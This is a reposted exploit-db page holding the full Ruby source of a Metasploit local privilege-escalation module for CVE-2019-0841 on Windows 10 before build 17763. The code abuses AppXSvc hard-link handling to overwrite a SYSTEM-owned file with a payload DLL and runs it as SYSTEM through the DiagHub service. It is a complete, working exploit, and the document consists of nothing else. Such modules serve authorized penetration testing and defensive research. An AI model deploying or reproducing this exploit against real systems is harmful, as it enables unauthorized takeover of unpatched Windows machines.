Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2019-07-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47128/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = NormalRanking
    
    include Exploit::EXE
    include Post::File
    include Post::Windows::Priv
    include Post::Windows::FileInfo
    include Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'AppXSvc Hard Link Privilege Escalation',
    'Description'=> %q(
    There exists a privilege escalation vulnerability for
    Windows 10 builds prior to build 17763. Due to the AppXSvc's
    improper handling of hard links, a user can gain full
    privileges over a SYSTEM-owned file. The user can then utilize
    the new file to execute code as SYSTEM.
    
    This module employs a technique using the Diagnostics Hub Standard
    Collector Service (DiagHub) which was discovered by James Forshaw to
    load and execute a DLL as SYSTEM.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Nabeel Ahmed',# Vulnerability discovery and PoC
    'James Forshaw', # Code creating hard links and communicating with DiagHub service
    'Shelby Pace'# Metasploit module
    ],
    'References' =>
    [
    [ 'CVE', '2019-0841' ],
    [ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],
    [ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],
    [ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],
    [ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]
    ],
    'Targets'=>
    [
    [ 'Windows 10', { 'Platform' => 'win' } ]
    ],
    'DisclosureDate' => '2019-04-09',
    'DefaultTarget'=> 0
    ))
    end
    
    def check
    return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i
    
    path = expand_path('%WINDIR%\\system32\\win32k.sys')
    major, minor, build, revision, brand = file_version(path)
    return CheckCode::Appears if build < 17763
    
    CheckCode::Detected
    end
    
    def upload_file(file_name, file_path)
    contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))
    write_file(file_path, contents)
    register_file_for_cleanup(file_path)
    rescue
    fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')
    end
    
    def init_process
    print_status("Attempting to launch Microsoft Edge minimized.")
    cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)
    end
    
    def mk_hard_link(src, target, link_exe)
    out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")
    
    return (out && out.include?('Done'))
    end
    
    def write_payload
    print_status('Writing the payload to disk')
    code = generate_payload_dll
    @original_data = read_file(@rtf_path)
    write_file(@rtf_path, code)
    end
    
    def exploit
    vuln_status = check
    fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown
    
    fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?
    cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")
    dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")
    fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)
    
    if session.arch == ARCH_X86
    exe_name = 'CVE-2019-0841_x86.exe'
    f_name = 'diaghub_load_x86.exe'
    elsif session.arch == ARCH_X64
    exe_name = 'CVE-2019-0841_x64.exe'
    f_name = 'diaghub_load_x64.exe'
    end
    link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")
    upload_file(exe_name, link_file_name)
    
    @rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')
    fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)
    print_good('Successfully created hard link')
    init_process
    cmd_exec("taskkill /F /IM MicrosoftEdge.exe")
    
    write_payload
    diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")
    upload_file(f_name, diaghub_path)
    cmd = "\"#{diaghub_path}\" \"license.rtf\""
    cmd_exec(cmd)
    end
    
    def cleanup
    folder_path = expand_path("%TEMP%\\etw")
    dir_rm(folder_path)
    
    write_file(@rtf_path, @original_data)
    super
    end
    end